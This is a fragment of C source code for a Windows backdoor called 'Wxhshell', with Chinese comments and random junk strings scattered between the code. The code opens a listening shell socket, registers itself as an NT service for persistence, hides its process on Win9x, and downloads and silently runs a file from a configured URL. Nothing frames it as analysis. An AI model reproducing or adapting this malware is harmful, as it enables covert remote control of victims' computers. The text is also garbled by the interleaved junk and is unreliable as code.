&cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xfzR>NU >@X=E3 CloseHandle(hProcess); 1;h>^NOq l@Ki`if if(strstr(procName,"services")) return 1; // 以服务启动 gSC@uf Pzqgg43Xf return 0; // 注册表启动 Z`W.(gua } ;KhYh S(q -nW{$&5AF // 主模块 .q=X58tHu int StartWxhshell(LPSTR lpCmdLine) mH?hzxa+ { xU&rUk/L SOCKET wsl; }8svd#S+ BOOL val=TRUE; 17 GyE=Uu int port=0; Xk3Ufz]QN struct sockaddr_in door; 1Nz\3]- ..!yf e"5 if(wscfg.ws_autoins) Install(); ?z6C8T~+ ]8^2(^3ct port=atoi(lpCmdLine); XEuv
aM Vf@/}=X * if(port<=0) port=wscfg.ws_port; 2#R"#Q! ovl@[>OB WSADATA data; l20q(lb if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o^ 4+eE OhTO*C8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s[g1ei9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iPIA&)x}
door.sin_family = AF_INET; wK3}K door.sin_addr.s_addr = inet_addr("127.0.0.1"); IoX(Pa door.sin_port = htons(port); L/ZZe5I #Ky0` n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |oM6(px closesocket(wsl); WRgz]=W3w return 1; _w26iCnB{ } _k}b 1~*_H_Q't if(listen(wsl,2) == INVALID_SOCKET) { r}991O< closesocket(wsl); sqy5rug return 1; RPrk]<<1 } o
2DnkzpJ Wxhshell(wsl); #y?z2! WSACleanup(); O~D}&M@/R [`&cA#C9Yp return 0; G{J9Fb8 QEVjXJOt0 } R =jK3yfw AkF1Hj // 以NT服务方式启动 %8ul}}d9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |`|b&Rhu { ;R67a
V, DWORD status = 0; $OJ*Kul DWORD specificError = 0xfffffff; o%dtf5}(, >ko;CQR serviceStatus.dwServiceType = SERVICE_WIN32; ."lY>(HJ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ED6H serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q.N^1?(>k serviceStatus.dwWin32ExitCode = 0; CkP!4^J qQ serviceStatus.dwServiceSpecificExitCode = 0; E>ev /6ox serviceStatus.dwCheckPoint = 0; "}!vYr serviceStatus.dwWaitHint = 0; ?gkK*\x2 -,rl[1ZYZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BYGLYT;Z if (hServiceStatusHandle==0) return; X0lIeGwrQ WgjaMmht status = GetLastError(); 8FMP)N4+ if (status!=NO_ERROR) IL~yJx_11 { iD\joh-C serviceStatus.dwCurrentState = SERVICE_STOPPED; +EFurdX\ serviceStatus.dwCheckPoint = 0; zJ\I%7h* serviceStatus.dwWaitHint = 0; {S}/LSNB serviceStatus.dwWin32ExitCode = status; F[+sc Mx!G serviceStatus.dwServiceSpecificExitCode = specificError; )TWf/Lcp SetServiceStatus(hServiceStatusHandle, &serviceStatus); c>^_4QQ return; c{E-4PYbah } t512]eqhb( |[qI2-e l? serviceStatus.dwCurrentState = SERVICE_RUNNING; aw,8'N) serviceStatus.dwCheckPoint = 0; B1GSZUd^?0 serviceStatus.dwWaitHint = 0; )~J/,\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &K7g8x"x. } Lt*H|9 Ah"RxA // 处理NT服务事件,比如:启动、停止 !ine|NM VOID WINAPI NTServiceHandler(DWORD fdwControl) )S`A+M K] { &38Fj'l switch(fdwControl) lmod8B { 3:C *'@ case SERVICE_CONTROL_STOP: MXhS\vF#m serviceStatus.dwWin32ExitCode = 0; 9|go`^*. serviceStatus.dwCurrentState = SERVICE_STOPPED; /E*P0y~KTW serviceStatus.dwCheckPoint = 0; ]M2> %Dvw serviceStatus.dwWaitHint = 0; TKmC/c { UqAvFCy SetServiceStatus(hServiceStatusHandle, &serviceStatus); w0.#/6 } 0D\FFfs return; @P8q=j}l9 case SERVICE_CONTROL_PAUSE: m{1By/U serviceStatus.dwCurrentState = SERVICE_PAUSED; >s{[d$ break; lUp 7#q case SERVICE_CONTROL_CONTINUE: :gR`rc! serviceStatus.dwCurrentState = SERVICE_RUNNING; #de]b break; zRKg>GG` case SERVICE_CONTROL_INTERROGATE: OtC/)sX break; uW[<?sFG }; yn7n SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8>w/Es5 } KJ-D|N,8@^ :>cJ[K?0 // 标准应用程序主函数 'al-C;Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >- :U { HO wJ2L YX~H!6l // 获取操作系统版本 *d%m.:)N OsIsNt=GetOsVer(); a MzAA GetModuleFileName(NULL,ExeFile,MAX_PATH); v"s}7trWV KsHMAp3 // 从命令行安装 rVz#;d!`z if(strpbrk(lpCmdLine,"iI")) Install(); %7{6>6% L5>>gG, // 下载执行文件 NSx DCTw if(wscfg.ws_downexe) { F<I-^BY) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7igrRU#1% WinExec(wscfg.ws_filenam,SW_HIDE); {yJ{DU?%Y } o`&idn|, upX/fLc if(!OsIsNt) { Sd{>(YWx~ // 如果时win9x,隐藏进程并且设置为注册表启动 `;`34t_) HideProc(); a
ZfX | StartWxhshell(lpCmdLine); _)p% } f'}23\> else {Xl
5F.q if(StartFromService()) lD{9o2 // 以服务方式启动 Kyv$yf9 StartServiceCtrlDispatcher(DispatchTable); ArF+9upGY else HC$_p,9OV // 普通方式启动 /+3|tb StartWxhshell(lpCmdLine); `T}e3l Lrz>00(*4 return 0; DTJ~. }
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